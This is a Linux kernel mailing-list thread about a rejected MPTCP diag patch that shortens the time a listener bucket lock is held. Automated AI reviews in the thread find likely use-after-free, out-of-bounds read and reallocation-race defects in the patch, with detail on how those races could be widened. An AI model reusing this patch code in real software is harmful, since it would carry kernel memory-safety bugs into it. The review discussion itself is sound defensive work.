> >   guaranteed livelock; duplicate output after a rejected cursor
> >   is valid
>
> I just saw your patch today. This is absolutely insane.
>
> Please limit the complexity of a filter to something reasonable.
> Absolutely no sane user is using a very complex filter.
>
> Same for UDP.

Thanks for the feedback.

We will drop the dump-cursor rewrite.

A follow-up can cap inet_diag bytecode complexity in
inet_diag_bc_audit() so TCP, UDP and MPTCP dumps share the same limit.

Please let me know if that is the direction you want.

Re: [PATCH net v2 1/2] tcp: diag: bound bucket lock hold in tcp_diag_dump()

[zihan xi]

On Mon, Sep 7, 2026 at 3:15 PM zihan xi <zihanx@nebusec.ai> wrote:
>
> On Mon, Sep 7, 2026 at 3:06 PM Eric Dumazet <edumazet@google.com> wrote:
> >
> > > - bind cursor UAF / dangling tb2: valid
> > > - unconditional sock_hold() on unpublished TIME_WAIT: valid
> > > - clearing s_num on cursor mismatch: valid
> > > - lockless cursor-membership checks: valid as a concern
> > > - commit message overstating bind/ehash fill-under-lock: valid
> > > - missing note that MPTCP needs the follow-up patch: valid as a
> > >   backport note
> > > - endless re-scan of the same bucket head: not valid as a
> > >   guaranteed livelock; duplicate output after a rejected cursor
> > >   is valid
> >
> > I just saw your patch today. This is absolutely insane.
> >
> > Please limit the complexity of a filter to something reasonable.
> > Absolutely no sane user is using a very complex filter.
> >
> > Same for UDP.
>
> Thanks for the feedback.
>
> We will drop the dump-cursor rewrite.
>
> A follow-up can cap inet_diag bytecode complexity in
> inet_diag_bc_audit() so TCP, UDP and MPTCP dumps share the same limit.
>
> Please let me know if that is the direction you want.

To be clear, this series is dropped. I will send the bytecode cap
as a new series.

[PATCH net v2 2/2] mptcp: diag: bound listener bucket lock hold

[Zihan Xi]

MPTCP listener diag dumping reuses sk_diag_dump(), which executes
inet_diag_bc_sk() before filling the netlink reply. The listener walk in
mptcp_diag_dump_listeners() currently performs that work while holding the
listener bucket lock.

The time spent under the listener bucket lock can therefore grow with the
number of sockets visited and with per-socket dump work. The resume state
also requires later batches to revisit the bucket prefix.

Fix this by collecting only referenced listener sockets while holding the
bucket lock. After dropping it, re-check the listener properties, obtain
the parent MPTCP socket reference, and call sk_diag_dump(). Keep a
referenced cursor so later batches resume after the previous listener
instead of rescanning the bucket head. Validate a cursor against the
current listener bucket and TCP_LISTEN state before resuming from it.
After dropping the lock, read icsk_ulp_data with rcu_dereference().

Fixes: 4fa39b701ce9 ("mptcp: listen diag dump support")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
changes in v2:
  - Rebased onto net commit e2a6641e3bfd (2026-08-27).
  - Added current-bucket cursor validation and safe restart.
  - Reject MPTCP listener cursors unless the socket is still TCP_LISTEN.
  - Read icsk_ulp_data with rcu_dereference() after dropping the listener
    lock.
  - Moved INET_DIAG_DUMP_CURSOR_MPTCP_LISTEN into this patch.
  - Moved MPTCP_DIAG_BULK_SZ below the includes and sorted new local
    declarations reverse xmas tree.
  - Refreshed the reviewed PoC and decoded crash-log artifacts.
  - v1 Link: https://lore.kernel.org/all/cover.1785307984.git.zihanx@nebusec.ai/

 include/linux/inet_diag.h |   1 +
 net/mptcp/mptcp_diag.c    | 124 +++++++++++++++++++++++++++-----------
 2 files changed, 89 insertions(+), 36 deletions(-)

diff --git a/include/linux/inet_diag.h b/include/linux/inet_diag.h
index 6ccd32bc48f9..4859e77a28c7 100644
--- a/include/linux/inet_diag.h
+++ b/include/linux/inet_diag.h
@@ -39,6 +39,7 @@ enum inet_diag_dump_cursor_type {
 	INET_DIAG_DUMP_CURSOR_TCP_LISTEN,
 	INET_DIAG_DUMP_CURSOR_TCP_BIND,
 	INET_DIAG_DUMP_CURSOR_TCP_EHASH,
+	INET_DIAG_DUMP_CURSOR_MPTCP_LISTEN,
 };
 
 struct inet_diag_dump_data {
diff --git a/net/mptcp/mptcp_diag.c b/net/mptcp/mptcp_diag.c
index 136c2d05c0ee..37b33ea5d79d 100644
--- a/net/mptcp/mptcp_diag.c
+++ b/net/mptcp/mptcp_diag.c
@@ -12,6 +12,19 @@
 #include <net/netlink.h>
 #include "protocol.h"
 
+/* Process a bounded number of listeners per bucket lock hold. */
+#define MPTCP_DIAG_BULK_SZ 16
+
+static void mptcp_diag_save_cursor(struct inet_diag_dump_data *cb_data,
+				   unsigned int slot, struct sock *sk)
+{
+	sock_hold(sk);
+	inet_diag_dump_clear_cursor(cb_data);
+	cb_data->dump_cursor = sk;
+	cb_data->dump_cursor_slot = slot;
+	cb_data->dump_cursor_type = INET_DIAG_DUMP_CURSOR_MPTCP_LISTEN;
+}
+
 static int sk_diag_dump(struct sock *sk, struct sk_buff *skb,
 			struct netlink_callback *cb,
 			const struct inet_diag_req_v2 *req,
@@ -77,6 +90,7 @@ static void mptcp_diag_dump_listeners(struct sk_buff *skb, struct netlink_callba
 				      bool net_admin)
 {
 	struct mptcp_diag_ctx *diag_ctx = (void *)cb->ctx;
+	struct inet_diag_dump_data *cb_data = cb->data;
 	struct net *net = sock_net(skb->sk);
 	struct inet_hashinfo *hinfo;
 	int i;
@@ -84,64 +98,102 @@ static void mptcp_diag_dump_listeners(struct sk_buff *skb, struct netlink_callba
 	hinfo = net->ipv4.tcp_death_row.hashinfo;
 
 	for (i = diag_ctx->l_slot; i <= hinfo->lhash2_mask; i++) {
+		struct sock *tmp, *sk, *sk_arr[MPTCP_DIAG_BULK_SZ];
 		struct inet_listen_hashbucket *ilb;
+		int num_arr[MPTCP_DIAG_BULK_SZ];
 		struct hlist_nulls_node *node;
-		struct sock *sk;
-		int num = 0;
+		int accum, idx, num, ret;
+		struct sock *cursor;
+		bool use_cursor;
 
+resume_listen_walk:
+		num = 0;
+		accum = 0;
 		ilb = &hinfo->lhash2[i];
+		ret = 0;
 
 		rcu_read_lock();
 		spin_lock(&ilb->lock);
-		sk_nulls_for_each(sk, node, &ilb->nulls_head) {
-			const struct mptcp_subflow_context *ctx = mptcp_subflow_ctx(sk);
-			struct inet_sock *inet = inet_sk(sk);
-			int ret;
-
-			if (num < diag_ctx->l_num)
-				goto next_listen;
-
-			if (!ctx || strcmp(inet_csk(sk)->icsk_ulp_ops->name, "mptcp"))
-				goto next_listen;
-
-			sk = ctx->conn;
-			if (!sk || !net_eq(sock_net(sk), net))
-				goto next_listen;
-
-			if (r->sdiag_family != AF_UNSPEC &&
-			    sk->sk_family != r->sdiag_family)
-				goto next_listen;
-
-			if (r->id.idiag_sport != inet->inet_sport &&
-			    r->id.idiag_sport)
+		cursor = cb_data->dump_cursor;
+		use_cursor = cursor &&
+			     cb_data->dump_cursor_type ==
+			     INET_DIAG_DUMP_CURSOR_MPTCP_LISTEN &&
+			     cb_data->dump_cursor_slot == i &&
+			     inet_sk_state_load(cursor) == TCP_LISTEN &&
+			     !hlist_nulls_unhashed(&cursor->sk_nulls_node) &&
+			     cursor->sk_nulls_node.pprev != LIST_POISON2 &&
+			     inet_lhash2_bucket_sk(hinfo, cursor) == ilb;
+		node = use_cursor ? cursor->sk_nulls_node.next :
+				    ilb->nulls_head.first;
+		hlist_nulls_for_each_entry_from(sk, node, sk_nulls_node) {
+			if (!use_cursor && num < diag_ctx->l_num)
 				goto next_listen;
 
 			if (!refcount_inc_not_zero(&sk->sk_refcnt))
 				goto next_listen;
 
-			ret = sk_diag_dump(sk, skb, cb, r, net_admin);
-
-			sock_put(sk);
-
-			if (ret < 0) {
-				spin_unlock(&ilb->lock);
-				rcu_read_unlock();
-				diag_ctx->l_slot = i;
-				diag_ctx->l_num = num;
-				return;
-			}
-			diag_ctx->l_num = num + 1;
-			num = 0;
+			num_arr[accum] = num;
+			sk_arr[accum] = sk;
+			if (++accum == MPTCP_DIAG_BULK_SZ)
+				break;
 next_listen:
 			++num;
 		}
 		spin_unlock(&ilb->lock);
 		rcu_read_unlock();
 
+		for (idx = 0; idx < accum; idx++) {
+			const struct mptcp_subflow_context *ctx;
+			const struct tcp_ulp_ops *ulp_ops;
+			struct inet_sock *inet;
+
+			sk = sk_arr[idx];
+			rcu_read_lock();
+			ctx = rcu_dereference(inet_csk(sk)->icsk_ulp_data);
+			ulp_ops = READ_ONCE(inet_csk(sk)->icsk_ulp_ops);
+			inet = inet_sk(sk);
+			tmp = ctx ? ctx->conn : NULL;
+			if (!ctx || !ulp_ops || strcmp(ulp_ops->name, "mptcp") ||
+			    !tmp || !net_eq(sock_net(tmp), net) ||
+			    (r->sdiag_family != AF_UNSPEC &&
+			     tmp->sk_family != r->sdiag_family) ||
+			    (r->id.idiag_sport != inet->inet_sport &&
+			     r->id.idiag_sport) ||
+			    !refcount_inc_not_zero(&tmp->sk_refcnt)) {
+				rcu_read_unlock();
+				goto processed_listener_sk;
+			}
+			rcu_read_unlock();
+			if (ret >= 0) {
+				ret = sk_diag_dump(tmp, skb, cb, r, net_admin);
+				if (ret < 0)
+					num = num_arr[idx];
+			}
+			sock_put(tmp);
+processed_listener_sk:
+			if (ret >= 0)
+				mptcp_diag_save_cursor(cb_data, i, sk);
+			sock_put(sk);
+		}
+
+		if (ret < 0) {
+			diag_ctx->l_slot = i;
+			diag_ctx->l_num = num;
+			return;
+		}
+
 		cond_resched();
+
+		if (accum == MPTCP_DIAG_BULK_SZ) {
+			diag_ctx->l_num = 0;
+			goto resume_listen_walk;
+		}
+
+		inet_diag_dump_clear_cursor(cb_data);
 		diag_ctx->l_num = 0;
 	}
 
+	inet_diag_dump_clear_cursor(cb_data);
 	diag_ctx->l_num = 0;
 	diag_ctx->l_slot = i;
 }
-- 
2.43.0

Re: [PATCH net v2 2/2] mptcp: diag: bound listener bucket lock hold

[sashiko-bot]

Thank you for your contribution! Sashiko AI review found 3 potential issue(s) to consider:
- [High] Batch-relative offset used as an absolute skip count corrupts the resumption state (`diag_ctx->l_num`), causing massive duplicate dumps or infinite loops.
- [High] Dereferencing `ctx->conn` before verifying the socket ULP type leads to an out-of-bounds read for non-MPTCP sockets.
- [High] Dropping the lock and missing re-check of `icsk_ulp_data` after taking a reference on the `SLAB_TYPESAFE_BY_RCU` MPTCP socket causes a TOCTOU race.
--

commit 18ad84befba3a7e705432d2c50d6139e9f7b55e6
Author: Zihan Xi <zihanx@nebusec.ai>
Date:   Tue Sep 1 12:53:47 2026 +0000

    mptcp: diag: bound listener bucket lock hold

This commit modifies the MPTCP listener diag dump to collect referenced 
sockets while holding the bucket lock, and then executes sk_diag_dump()
after releasing the lock. It aims to reduce the lock hold time and tracks
resumption using a referenced cursor.

Link: https://lore.kernel.org/all/cover.1785307984.git.zihanx@nebusec.ai/

> diff --git a/net/mptcp/mptcp_diag.c b/net/mptcp/mptcp_diag.c
> index 136c2d05c0eeb..37b33ea5d79de 100644
> --- a/net/mptcp/mptcp_diag.c
> +++ b/net/mptcp/mptcp_diag.c
[ ... ]
> @@ -84,64 +98,102 @@ static void mptcp_diag_dump_listeners(struct sk_buff *skb, struct netlink_callba
>  	hinfo = net->ipv4.tcp_death_row.hashinfo;
>  
>  	for (i = diag_ctx->l_slot; i <= hinfo->lhash2_mask; i++) {
> +		struct sock *tmp, *sk, *sk_arr[MPTCP_DIAG_BULK_SZ];
>  		struct inet_listen_hashbucket *ilb;
> +		int num_arr[MPTCP_DIAG_BULK_SZ];
>  		struct hlist_nulls_node *node;
[ ... ]
> +		for (idx = 0; idx < accum; idx++) {
> +			const struct mptcp_subflow_context *ctx;
> +			const struct tcp_ulp_ops *ulp_ops;
> +			struct inet_sock *inet;
> +
> +			sk = sk_arr[idx];
> +			rcu_read_lock();
> +			ctx = rcu_dereference(inet_csk(sk)->icsk_ulp_data);
> +			ulp_ops = READ_ONCE(inet_csk(sk)->icsk_ulp_ops);
> +			inet = inet_sk(sk);
> +			tmp = ctx ? ctx->conn : NULL;

[Severity: High]
Can dereferencing `ctx->conn` here before verifying the ULP protocol name 
lead to an out-of-bounds read? 

If another protocol (like TLS or SMC) attaches a smaller ULP context to a
TCP listener, `ctx` would point to that smaller structure, and reading
`ctx->conn` would access memory past the end of the ULP object. Should the
ULP type be checked before accessing `ctx->conn`?

> +			if (!ctx || !ulp_ops || strcmp(ulp_ops->name, "mptcp") ||
> +			    !tmp || !net_eq(sock_net(tmp), net) ||
> +			    (r->sdiag_family != AF_UNSPEC &&
> +			     tmp->sk_family != r->sdiag_family) ||
> +			    (r->id.idiag_sport != inet->inet_sport &&
> +			     r->id.idiag_sport) ||
> +			    !refcount_inc_not_zero(&tmp->sk_refcnt)) {
> +				rcu_read_unlock();
> +				goto processed_listener_sk;
> +			}
> +			rcu_read_unlock();

[Severity: High]
Since sockets are allocated with SLAB_TYPESAFE_BY_RCU, and the listener hash
bucket lock has been dropped at this point, is it possible for the `tmp`
socket to be freed and reallocated as an unrelated socket between finding it
and successfully incrementing the refcount? 

Does the code need to re-check `rcu_dereference(inet_csk(sk)->icsk_ulp_data)`
against `ctx` after taking the refcount to ensure the object was not
reallocated during the lockless window?

> +			if (ret >= 0) {
> +				ret = sk_diag_dump(tmp, skb, cb, r, net_admin);
> +				if (ret < 0)
> +					num = num_arr[idx];
> +			}
> +			sock_put(tmp);
> +processed_listener_sk:
> +			if (ret >= 0)
> +				mptcp_diag_save_cursor(cb_data, i, sk);
> +			sock_put(sk);
> +		}
> +
> +		if (ret < 0) {
> +			diag_ctx->l_slot = i;
> +			diag_ctx->l_num = num;
> +			return;
> +		}

[Severity: High]
`diag_ctx->l_num` tracks the absolute position in the bucket, but `num` was
reset to 0 at the start of `resume_listen_walk`. 

If the dump fails (e.g. skb is full), doesn't saving this batch-relative `num`
into `diag_ctx->l_num` corrupt the absolute progress state? Because it saves a 
small relative number, if the cursor is invalidated later, the dump would fall 
back to skipping elements from the start, causing massive duplicate dumps or 
infinite loops.

> +
> +		cond_resched();
> +
> +		if (accum == MPTCP_DIAG_BULK_SZ) {
> +			diag_ctx->l_num = 0;
> +			goto resume_listen_walk;
> +		}

[Severity: High]
Similarly, on a successful batch, `diag_ctx->l_num` is explicitly set to 0.
Does this intentionally destroy the absolute index between batches? 

If the cursor gets lost later, this would guarantee a total rewind to the 
beginning of the bucket.

-- 
Sashiko AI review · https://sashiko.dev/#/patchset/cover.1788248601.git.zihanx@nebusec.ai?part=2

Re: [PATCH net v2 2/2] mptcp: diag: bound listener bucket lock hold

[netdev-bot+sashiko]

Thank you for your contribution! Sashiko AI review found 6 potential
issue(s) to consider:

Critical: 0 · High: 1 · Medium: 3 · Low: 2

- [High] Use-after-free introduced by the new deferred processing loop in
  mptcp_diag_dump_listeners().
- [Medium] The patch silently changes which MPTCP listeners the dump
  reports, and the commit message does not mention it.
- [Medium] mptcp_diag_dump_listeners() mixes two incompatible counting
  bases for the resume index diag_ctx->l_num.
- [Medium] mptcp_diag_dump_listeners() performs all
  identity/authorization checks on the parent MPTCP socket…
- [Low] Commit message of "mptcp: diag: bound listener bucket lock hold"
  carries Fixes: 4fa39b701ce9 + Cc: stable + Reported-by:, but never…
- [Low] In the new post-lock loop of mptcp_diag_dump_listeners()
  (net/mptcp/mptcp_diag.c), `tmp = ctx ?

--

mptcp: diag: bound listener bucket lock hold

This reworks mptcp_diag_dump_listeners() so that the listener bucket lock is
only held while collecting up to MPTCP_DIAG_BULK_SZ referenced listener
sockets, with the ULP/property re-checks, the parent msk reference and
sk_diag_dump() moved outside the lock.  A referenced dump cursor is kept in
cb->data so later batches resume after the previous listener instead of
rescanning the bucket prefix.

v1 Link: https://lore.kernel.org/all/cover.1785307984.git.zihanx@nebusec.ai/

> diff --git a/include/linux/inet_diag.h b/include/linux/inet_diag.h
> index 6ccd32bc48f91..4859e77a28c7a 100644
> --- a/include/linux/inet_diag.h
> +++ b/include/linux/inet_diag.h
> @@ -39,6 +39,7 @@ enum inet_diag_dump_cursor_type {
>  	INET_DIAG_DUMP_CURSOR_TCP_LISTEN,
>  	INET_DIAG_DUMP_CURSOR_TCP_BIND,
>  	INET_DIAG_DUMP_CURSOR_TCP_EHASH,
> +	INET_DIAG_DUMP_CURSOR_MPTCP_LISTEN,
>  };

[Severity: Low]
Two questions about the changelog for this one.

First, the message says the lock hold time "can therefore grow with the
number of sockets visited", but it never states the observed symptom.  Was
this a soft lockup, an RCU stall, or measured contention on ilb->lock?  Given
the Fixes: 4fa39b701ce9 and Cc: stable tags plus the Reported-by:, could the
symptom be spelled out?

Second, could the backport dependency be mentioned?  enum
inet_diag_dump_cursor_type does not exist in the tree this applies on top of:

  git grep inet_diag_dump_cursor_type <base>   -> no match

The whole enum, cb_data->dump_cursor, dump_cursor_slot, dump_cursor_type and
inet_diag_dump_clear_cursor() come from the immediately preceding patch of
this series, "tcp: diag: bound bucket lock hold in tcp_diag_dump()".  Stable
trees carrying 4fa39b701ce9 cannot take this patch on its own, and nothing in
the message says so.

> diff --git a/net/mptcp/mptcp_diag.c b/net/mptcp/mptcp_diag.c
> index 136c2d05c0eeb..37b33ea5d79de 100644
> --- a/net/mptcp/mptcp_diag.c
> +++ b/net/mptcp/mptcp_diag.c
> @@ -12,6 +12,19 @@
>  #include <net/netlink.h>
>  #include "protocol.h"
>  
> +/* Process a bounded number of listeners per bucket lock hold. */
> +#define MPTCP_DIAG_BULK_SZ 16
> +
> +static void mptcp_diag_save_cursor(struct inet_diag_dump_data *cb_data,
> +				   unsigned int slot, struct sock *sk)
> +{
> +	sock_hold(sk);
> +	inet_diag_dump_clear_cursor(cb_data);
> +	cb_data->dump_cursor = sk;
> +	cb_data->dump_cursor_slot = slot;
> +	cb_data->dump_cursor_type = INET_DIAG_DUMP_CURSOR_MPTCP_LISTEN;
> +}
> +

[ ... ]

> @@ -84,64 +98,102 @@ static void mptcp_diag_dump_listeners(struct sk_buff *skb, struct netlink_callba
>  	hinfo = net->ipv4.tcp_death_row.hashinfo;
>  
>  	for (i = diag_ctx->l_slot; i <= hinfo->lhash2_mask; i++) {
> +		struct sock *tmp, *sk, *sk_arr[MPTCP_DIAG_BULK_SZ];
>  		struct inet_listen_hashbucket *ilb;
> +		int num_arr[MPTCP_DIAG_BULK_SZ];
>  		struct hlist_nulls_node *node;
> -		struct sock *sk;
> -		int num = 0;
> +		int accum, idx, num, ret;
> +		struct sock *cursor;
> +		bool use_cursor;
>  
> +resume_listen_walk:
> +		num = 0;
> +		accum = 0;
>  		ilb = &hinfo->lhash2[i];
> +		ret = 0;
>  
>  		rcu_read_lock();
>  		spin_lock(&ilb->lock);
> -		sk_nulls_for_each(sk, node, &ilb->nulls_head) {
> -			const struct mptcp_subflow_context *ctx = mptcp_subflow_ctx(sk);
> -			struct inet_sock *inet = inet_sk(sk);
> -			int ret;
> -
> -			if (num < diag_ctx->l_num)
> -				goto next_listen;
> -
> -			if (!ctx || strcmp(inet_csk(sk)->icsk_ulp_ops->name, "mptcp"))
> -				goto next_listen;
> -
> -			sk = ctx->conn;
> -			if (!sk || !net_eq(sock_net(sk), net))
> -				goto next_listen;
> -
> -			if (r->sdiag_family != AF_UNSPEC &&
> -			    sk->sk_family != r->sdiag_family)
> -				goto next_listen;
> -
> -			if (r->id.idiag_sport != inet->inet_sport &&
> -			    r->id.idiag_sport)
> +		cursor = cb_data->dump_cursor;
> +		use_cursor = cursor &&
> +			     cb_data->dump_cursor_type ==
> +			     INET_DIAG_DUMP_CURSOR_MPTCP_LISTEN &&
> +			     cb_data->dump_cursor_slot == i &&
> +			     inet_sk_state_load(cursor) == TCP_LISTEN &&
> +			     !hlist_nulls_unhashed(&cursor->sk_nulls_node) &&
> +			     cursor->sk_nulls_node.pprev != LIST_POISON2 &&
> +			     inet_lhash2_bucket_sk(hinfo, cursor) == ilb;
> +		node = use_cursor ? cursor->sk_nulls_node.next :
> +				    ilb->nulls_head.first;
> +		hlist_nulls_for_each_entry_from(sk, node, sk_nulls_node) {
> +			if (!use_cursor && num < diag_ctx->l_num)
>  				goto next_listen;

[Severity: Medium]
Are the two resume mechanisms here using the same counting base for
diag_ctx->l_num?

This test counts entries from the bucket head, but at resume_listen_walk num
is reset to 0 and, when use_cursor is true, the walk starts at
cursor->sk_nulls_node.next, i.e. mid-bucket.  The values stashed in num_arr[]
and later stored are therefore cursor-relative and bounded by 0..15:

	if (ret >= 0) {
		ret = sk_diag_dump(tmp, skb, cb, r, net_admin);
		if (ret < 0)
			num = num_arr[idx];
	}
	...
	if (ret < 0) {
		diag_ctx->l_slot = i;
		diag_ctx->l_num = num;
		return;
	}

Walking a bucket with more than 16 matching listeners:

  batch 1: 16 listeners dumped, cursor saved on e15
  goto resume_listen_walk with diag_ctx->l_num = 0, use_cursor true, so num
    now counts from e16
  skb fills at idx 5, so diag_ctx->l_num = 5 while the real bucket offset
    is 21
  the cursor socket is closed before the next recvmsg(), use_cursor becomes
    false, and the walk resumes at bucket position 5

Does that re-emit e5..e19, and, if entries were removed in the meantime and
positions shifted, silently drop listeners that were never reported?

The peer implementation of the same cursor protocol from the preceding patch,
tcp_diag_dump(), zeroes the positional counter when the cursor is unusable:

	node = use_cursor ? cursor->sk_nulls_node.next : ilb->nulls_head.first;
	if (!use_cursor)
		s_num = 0;

Should mptcp_diag_dump_listeners() do the same so the two bases are never
mixed?  The intra-call restart also forces diag_ctx->l_num = 0 before goto
resume_listen_walk, so a cursor invalidated between lock drops restarts the
bucket at the head within a single dump call.

>  			if (!refcount_inc_not_zero(&sk->sk_refcnt))
>  				goto next_listen;
>  
> -			ret = sk_diag_dump(sk, skb, cb, r, net_admin);
> -
> -			sock_put(sk);
> -
> -			if (ret < 0) {
> -				spin_unlock(&ilb->lock);
> -				rcu_read_unlock();
> -				diag_ctx->l_slot = i;
> -				diag_ctx->l_num = num;
> -				return;
> -			}
> -			diag_ctx->l_num = num + 1;
> -			num = 0;

[Severity: Medium]
Removing this "l_num = num + 1; num = 0;" pair changes which listeners the
dump reports, and the changelog does not mention it.

In the pre-patch loop the skip test was "if (num < diag_ctx->l_num)" while
num was reset to 0 after every successful dump and l_num kept growing, so for
a bucket e0..e6 the emitted set was e0, e1, e3, e6:

  e0 dumped -> l_num = 1, num = 0 then ++num = 1
  e1 dumped -> l_num = 2, num = 1
  e2 hits 1 < 2 and is skipped
  e3 dumped -> l_num = 3
  e4, e5 skipped

The new code keeps num monotonic and applies the skip test only in the
non-cursor fallback, so every collected listener is processed.  Is that the
actual user-visible defect being fixed here?  ss -Ml output changes (more
listeners reported) on any host with three or more MPTCP listeners hashing
into the same lhash2 bucket, and this seems worth stating in the message,
along with whether it belongs in the same patch as the lock-hold change.

> +			num_arr[accum] = num;
> +			sk_arr[accum] = sk;
> +			if (++accum == MPTCP_DIAG_BULK_SZ)
> +				break;
>  next_listen:
>  			++num;
>  		}
>  		spin_unlock(&ilb->lock);
>  		rcu_read_unlock();
>  
> +		for (idx = 0; idx < accum; idx++) {
> +			const struct mptcp_subflow_context *ctx;
> +			const struct tcp_ulp_ops *ulp_ops;
> +			struct inet_sock *inet;
> +
> +			sk = sk_arr[idx];
> +			rcu_read_lock();
> +			ctx = rcu_dereference(inet_csk(sk)->icsk_ulp_data);
> +			ulp_ops = READ_ONCE(inet_csk(sk)->icsk_ulp_ops);
> +			inet = inet_sk(sk);
> +			tmp = ctx ? ctx->conn : NULL;

[Severity: High]
Can this read freed memory?  The rcu_read_lock() here is entered after
spin_unlock(&ilb->lock) and rcu_read_unlock() above, so it cannot extend a
grace period that already started.

The collection loop only took sk_refcnt on the listener subflow, which does
not keep the ULP context alive:

  __tcp_close()
    tcp_set_state(sk, TCP_CLOSE)
    inet_unhash(sk)               /* takes ilb->lock, free once diag drops it */
    inet_csk_destroy_sock()
      sk->sk_prot->destroy(sk)
        tcp_v4_destroy_sock()
          tcp_cleanup_ulp()
            subflow_ulp_release()

and net/mptcp/subflow.c:subflow_ulp_release() drops the msk reference and
frees the context:

	sk = ctx->conn;
	if (sk) {
		...
		sock_put(sk);
	}
	mptcp_subflow_ops_undo_override(ssk);
	if (release)
		kfree_rcu(ctx, rcu);

net/ipv4/tcp_ulp.c:tcp_cleanup_ulp() clears only icsk_ulp_ops:

	if (icsk->icsk_ulp_ops->release)
		icsk->icsk_ulp_ops->release(sk);
	module_put(icsk->icsk_ulp_ops->owner);

	icsk->icsk_ulp_ops = NULL;

icsk_ulp_data is never unpublished on this path (subflow_ulp_fallback() does
rcu_assign_pointer(icsk->icsk_ulp_data, NULL), this path does not).  If
kfree_rcu(ctx) was queued before this loop iteration re-entered
rcu_read_lock(), the grace period does not cover this reader, so
rcu_dereference(inet_csk(sk)->icsk_ulp_data) can return a freed and reused
slab object, and ctx->conn is dereferenced before the !ulp_ops guard is even
evaluated.

The loop is also preemptible for up to 15 preceding sk_diag_dump() /
inet_diag_bc_sk() invocations with request-supplied bytecode, which widens the
window.  Does the commit message claim ("After dropping the lock, read
icsk_ulp_data with rcu_dereference()") hold here, or do ctx and the parent msk
reference have to be acquired while ilb->lock is still held, as the pre-patch
code did?

[Severity: Low]
Separately, is it intentional that ctx->conn is loaded before the check that
the ULP is actually "mptcp"?  The collection loop under ilb->lock no longer
filters by ULP at all, so listeners with a foreign ULP context now reach this
loop, and the read happens at offsetof(struct mptcp_subflow_context, conn)
inside an object of an unrelated type.

net/xfrm/espintcp.c:espintcp_init_sk() publishes its own object with
rcu_assign_pointer(icsk->icsk_ulp_data, ctx) and, unlike tls_init(), has no
TCP-state restriction, so an unprivileged setsockopt(TCP_ULP, "espintcp")
followed by listen() puts such a socket into lhash2.

struct espintcp_ctx is larger than that offset today, so the read stays inside
the allocation and the loaded value is discarded by the failing strcmp().
Still, the pre-patch code did the strcmp() first and never touched a foreign
context.  Could the ctx->conn load be moved after the ULP name check?

> +			if (!ctx || !ulp_ops || strcmp(ulp_ops->name, "mptcp") ||
> +			    !tmp || !net_eq(sock_net(tmp), net) ||
> +			    (r->sdiag_family != AF_UNSPEC &&
> +			     tmp->sk_family != r->sdiag_family) ||
> +			    (r->id.idiag_sport != inet->inet_sport &&
> +			     r->id.idiag_sport) ||
> +			    !refcount_inc_not_zero(&tmp->sk_refcnt)) {
> +				rcu_read_unlock();
> +				goto processed_listener_sk;
> +			}
> +			rcu_read_unlock();
> +			if (ret >= 0) {
> +				ret = sk_diag_dump(tmp, skb, cb, r, net_admin);
> +				if (ret < 0)
> +					num = num_arr[idx];
> +			}
> +			sock_put(tmp);

[Severity: Medium]
Does this need a re-validation after refcount_inc_not_zero(&tmp->sk_refcnt)?

All the identity and scoping checks on the parent msk (net_eq(sock_net(tmp),
net), sdiag_family, idiag_sport) run before the reference is taken, and
nothing is re-checked afterwards.  mptcp_prot uses SLAB_TYPESAFE_BY_RCU:

net/mptcp/protocol.c:
	.slab_flags	= SLAB_TYPESAFE_BY_RCU,

so rcu_read_lock() only guarantees type stability, not identity.  If
subflow_ulp_release() already dropped the last reference via
sock_put(ctx->conn), the object can be recycled as a different MPTCP socket
inside this reader's RCU section, refcount_inc_not_zero() then succeeds, and
sk_diag_dump(tmp, ...) serializes that socket's addresses, ports, uid, cookie
and state into the reply, possibly from another namespace.

The in-tree pattern for this slab, net/mptcp/token.c:mptcp_token_get_sock(),
re-checks after the acquisition:

	if (!refcount_inc_not_zero(&sk->sk_refcnt))
		goto not_found;

	if (READ_ONCE(msk->token) != token ||
	    !net_eq(sock_net(sk), net)) {

Should the same re-check be done here?  Pre-patch the conn read and the msk
refcount acquisition both happened under ilb->lock with the subflow still
hashed, so the reference held by ctx was still alive.

> +processed_listener_sk:
> +			if (ret >= 0)
> +				mptcp_diag_save_cursor(cb_data, i, sk);
> +			sock_put(sk);
> +		}
> +
> +		if (ret < 0) {
> +			diag_ctx->l_slot = i;
> +			diag_ctx->l_num = num;
> +			return;
> +		}
> +
>  		cond_resched();
> +
> +		if (accum == MPTCP_DIAG_BULK_SZ) {
> +			diag_ctx->l_num = 0;
> +			goto resume_listen_walk;
> +		}
> +
> +		inet_diag_dump_clear_cursor(cb_data);
>  		diag_ctx->l_num = 0;
>  	}
>  
> +	inet_diag_dump_clear_cursor(cb_data);
>  	diag_ctx->l_num = 0;
>  	diag_ctx->l_slot = i;
>  }

-- 
Sashiko AI review · https://netdev-ai.bots.linux.dev/sashiko/#/patchset/cover.1788248601.git.zihanx%40nebusec.ai

Re: [PATCH net v2 2/2] mptcp: diag: bound listener bucket lock hold

[zihan xi]

On Mon, Sep 7, 2026 at 12:22 PM <netdev-bot+sashiko@kernel.org> wrote:
>
> Thank you for your contribution! Sashiko AI review found 6 potential
> issue(s) to consider:
>
> Critical: 0 · High: 1 · Medium: 3 · Low: 2
>
> - [High] Use-after-free introduced by the new deferred processing loop in
>   mptcp_diag_dump_listeners().
> - [Medium] The patch silently changes which MPTCP listeners the dump
>   reports, and the commit message does not mention it.
> - [Medium] mptcp_diag_dump_listeners() mixes two incompatible counting
>   bases for the resume index diag_ctx->l_num.
> - [Medium] mptcp_diag_dump_listeners() performs all
>   identity/authorization checks on the parent MPTCP socket…
> - [Low] Commit message of "mptcp: diag: bound listener bucket lock hold"
>   carries Fixes: 4fa39b701ce9 + Cc: stable + Reported-by:, but never…
> - [Low] In the new post-lock loop of mptcp_diag_dump_listeners()
>   (net/mptcp/mptcp_diag.c), `tmp = ctx ?
>
> --
>
> mptcp: diag: bound listener bucket lock hold
>
> This reworks mptcp_diag_dump_listeners() so that the listener bucket lock is
> only held while collecting up to MPTCP_DIAG_BULK_SZ referenced listener
> sockets, with the ULP/property re-checks, the parent msk reference and
> sk_diag_dump() moved outside the lock.  A referenced dump cursor is kept in
> cb->data so later batches resume after the previous listener instead of
> rescanning the bucket prefix.
>
> v1 Link: https://lore.kernel.org/all/cover.1785307984.git.zihanx@nebusec.ai/
>
> > diff --git a/include/linux/inet_diag.h b/include/linux/inet_diag.h
> > index 6ccd32bc48f91..4859e77a28c7a 100644
> > --- a/include/linux/inet_diag.h
